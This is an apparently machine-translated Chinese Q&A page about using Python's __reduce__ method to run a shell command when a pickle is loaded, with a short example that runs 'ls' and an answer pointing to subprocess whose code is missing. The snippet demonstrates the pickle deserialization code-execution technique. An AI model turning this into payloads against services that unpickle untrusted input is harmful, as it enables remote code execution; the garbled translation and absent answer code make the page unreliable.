如何通过__reduce__实现代码执行以进行酸洗?

时间:2019-07-18 17:13:19

标签: python python-3.x pickle

import pickle
import os

class Inject(object):
     def __reduce__(self):
          return (os.system, ('ls',))

serialize = pickle.dumps(Inject())
command_res = pickle.loads(serialize)
print(type(command_res))

问题是pickle.loads返回一个tuple,元组的第二个元素是int,所以command_res将分配给一个int,但是我想要以获得[0]的第一个索引pickle.loads,因此command_res将被分配给str,这是ls的结果。

我该怎么做?

1 个答案:

答案 0 :(得分:1)

问题是os.system不会返回命令ls的输出,如果您使用库subprocess执行命令,则会得到输出,并且可以获得{{ 1}}而不是str,因此您的代码应为:

int